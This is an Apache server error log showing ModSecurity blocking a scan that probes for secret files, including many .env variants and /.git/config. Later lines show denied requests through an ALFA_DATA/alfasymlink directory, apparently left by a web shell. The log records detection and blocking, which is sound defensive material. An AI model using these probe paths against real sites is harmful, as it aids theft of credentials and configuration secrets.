[Mon Oct 26 08:07:27.767805 2026] [security2:error] [pid 3023408:tid 3023408] [client 213.209.159.133:60574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9Cf2r0p85NPswPKocFjQAAACA"]
[Mon Oct 26 08:07:27.768092 2026] [security2:error] [pid 3023408:tid 3023408] [client 213.209.159.133:60574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9Cf2r0p85NPswPKocFjQAAACA"]
[Mon Oct 26 08:07:27.830453 2026] [security2:error] [pid 3023736:tid 3023736] [client 213.209.159.133:60578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at9Cf3tuNRyqJbUWH7JvdgAAAAQ"]
[Mon Oct 26 08:07:27.830724 2026] [security2:error] [pid 3023736:tid 3023736] [client 213.209.159.133:60578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at9Cf3tuNRyqJbUWH7JvdgAAAAQ"]
[Mon Oct 26 08:07:27.831097 2026] [security2:error] [pid 3023736:tid 3023736] [client 213.209.159.133:60578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at9Cf3tuNRyqJbUWH7JvdgAAAAQ"]
[Mon Oct 26 08:07:27.836243 2026] [security2:error] [pid 3026994:tid 3026994] [client 213.209.159.133:60592] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9Cfy0_YUoaikSO4nlocwAAAAE"]
[Mon Oct 26 08:07:27.836429 2026] [security2:error] [pid 3026994:tid 3026994] [client 213.209.159.133:60592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9Cfy0_YUoaikSO4nlocwAAAAE"]
[Mon Oct 26 08:07:27.836678 2026] [security2:error] [pid 3026994:tid 3026994] [client 213.209.159.133:60592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9Cfy0_YUoaikSO4nlocwAAAAE"]
[Mon Oct 26 08:07:27.843122 2026] [security2:error] [pid 3027705:tid 3027705] [client 213.209.159.133:60614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at9Cf2VXVQByzmtTYWxgTgAAAAc"]
[Mon Oct 26 08:07:27.843293 2026] [security2:error] [pid 3027705:tid 3027705] [client 213.209.159.133:60614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at9Cf2VXVQByzmtTYWxgTgAAAAc"]
[Mon Oct 26 08:07:27.843523 2026] [security2:error] [pid 3027705:tid 3027705] [client 213.209.159.133:60614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at9Cf2VXVQByzmtTYWxgTgAAAAc"]
[Mon Oct 26 08:07:27.847705 2026] [security2:error] [pid 3026995:tid 3026995] [client 213.209.159.133:60626] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at9CfwYFDPQbtsPixQxWrgAAAAI"]
[Mon Oct 26 08:07:27.857102 2026] [security2:error] [pid 3026995:tid 3026995] [client 213.209.159.133:60626] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at9CfwYFDPQbtsPixQxWrgAAAAI"]
[Mon Oct 26 08:07:27.857355 2026] [security2:error] [pid 3026995:tid 3026995] [client 213.209.159.133:60626] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at9CfwYFDPQbtsPixQxWrgAAAAI"]
[Mon Oct 26 08:07:27.847974 2026] [security2:error] [pid 3026993:tid 3026993] [client 213.209.159.133:60566] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at9Cf3J9l6phwCFrVaFfzgAAAAA"]
[Mon Oct 26 08:07:27.857756 2026] [security2:error] [pid 3026993:tid 3026993] [client 213.209.159.133:60566] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at9Cf3J9l6phwCFrVaFfzgAAAAA"]
[Mon Oct 26 08:07:27.858114 2026] [security2:error] [pid 3026993:tid 3026993] [client 213.209.159.133:60566] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at9Cf3J9l6phwCFrVaFfzgAAAAA"]
[Mon Oct 26 08:07:27.848697 2026] [security2:error] [pid 3019667:tid 3019667] [client 213.209.159.133:60604] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at9Cf5_dbg3ptBnwDgQ4wgAAAAM"]
[Mon Oct 26 08:07:27.858506 2026] [security2:error] [pid 3019667:tid 3019667] [client 213.209.159.133:60604] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at9Cf5_dbg3ptBnwDgQ4wgAAAAM"]
[Mon Oct 26 08:07:27.858726 2026] [security2:error] [pid 3019667:tid 3019667] [client 213.209.159.133:60604] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at9Cf5_dbg3ptBnwDgQ4wgAAAAM"]
[Mon Oct 26 08:07:27.849453 2026] [security2:error] [pid 3024443:tid 3024443] [client 213.209.159.133:60598] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at9Cfw9c_Zz9LocrxF9eOwAAAAU"]
[Mon Oct 26 08:07:27.860261 2026] [security2:error] [pid 3024443:tid 3024443] [client 213.209.159.133:60598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at9Cfw9c_Zz9LocrxF9eOwAAAAU"]
[Mon Oct 26 08:07:27.860525 2026] [security2:error] [pid 3024443:tid 3024443] [client 213.209.159.133:60598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at9Cfw9c_Zz9LocrxF9eOwAAAAU"]
[Mon Oct 26 08:07:27.850184 2026] [security2:error] [pid 3023408:tid 3023408] [client 213.209.159.133:60574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at9Cf2r0p85NPswPKocFjgAAACA"]
[Mon Oct 26 08:07:27.861023 2026] [security2:error] [pid 3023408:tid 3023408] [client 213.209.159.133:60574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at9Cf2r0p85NPswPKocFjgAAACA"]
[Mon Oct 26 08:07:27.861253 2026] [security2:error] [pid 3023408:tid 3023408] [client 213.209.159.133:60574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at9Cf2r0p85NPswPKocFjgAAACA"]
[Mon Oct 26 08:07:27.923080 2026] [security2:error] [pid 3026994:tid 3026994] [client 213.209.159.133:60592] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at9Cfy0_YUoaikSO4nlodAAAAAE"]
[Mon Oct 26 08:07:27.923304 2026] [security2:error] [pid 3026994:tid 3026994] [client 213.209.159.133:60592] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at9Cfy0_YUoaikSO4nlodAAAAAE"]
[Mon Oct 26 08:07:27.923569 2026] [security2:error] [pid 3026994:tid 3026994] [client 213.209.159.133:60592] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at9Cfy0_YUoaikSO4nlodAAAAAE"]
[Mon Oct 26 08:07:27.924784 2026] [security2:error] [pid 3027705:tid 3027705] [client 213.209.159.133:60614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at9Cf2VXVQByzmtTYWxgTwAAAAc"]
[Mon Oct 26 08:07:27.924960 2026] [security2:error] [pid 3027705:tid 3027705] [client 213.209.159.133:60614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at9Cf2VXVQByzmtTYWxgTwAAAAc"]
[Mon Oct 26 08:07:27.925216 2026] [security2:error] [pid 3027705:tid 3027705] [client 213.209.159.133:60614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at9Cf2VXVQByzmtTYWxgTwAAAAc"]
[Mon Oct 26 08:07:27.928963 2026] [security2:error] [pid 3023736:tid 3023736] [client 213.209.159.133:60578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at9Cf3tuNRyqJbUWH7JvdwAAAAQ"]
[Mon Oct 26 08:07:27.929105 2026] [security2:error] [pid 3023736:tid 3023736] [client 213.209.159.133:60578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at9Cf3tuNRyqJbUWH7JvdwAAAAQ"]
[Mon Oct 26 08:07:27.929361 2026] [security2:error] [pid 3023736:tid 3023736] [client 213.209.159.133:60578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at9Cf3tuNRyqJbUWH7JvdwAAAAQ"]
[Mon Oct 26 08:07:28.008140 2026] [security2:error] [pid 3027705:tid 3027705] [client 213.209.159.133:60614] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9CgGVXVQByzmtTYWxgUAAAAAc"]
[Mon Oct 26 08:07:28.008332 2026] [security2:error] [pid 3027705:tid 3027705] [client 213.209.159.133:60614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9CgGVXVQByzmtTYWxgUAAAAAc"]
[Mon Oct 26 08:07:28.008563 2026] [security2:error] [pid 3027705:tid 3027705] [client 213.209.159.133:60614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9CgGVXVQByzmtTYWxgUAAAAAc"]
[Mon Oct 26 08:07:28.010181 2026] [proxy_fcgi:error] [pid 3023736:tid 3023736] [client 213.209.159.133:60578] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 08:07:28.036217 2026] [proxy_fcgi:error] [pid 3026993:tid 3026993] [client 213.209.159.133:60566] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 08:07:28.036693 2026] [proxy_fcgi:error] [pid 3023408:tid 3023408] [client 213.209.159.133:60574] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 08:07:34.996460 2026] [core:error] [pid 3024443:tid 3024443] (13)Permission denied: [client 3.216.86.144:57962] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input0/subsystem/event0/subsystem/input5/device/driver/bind
[Mon Oct 26 08:07:47.384076 2026] [core:error] [pid 3024443:tid 3024443] (13)Permission denied: [client 107.22.208.39:15944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/physical_node/driver/cpu0/node0/memory14/subsystem/drivers_probe
[Mon Oct 26 08:07:51.119563 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 52.3.102.51:52449] AH02013: coalesce failed to read from data bucket
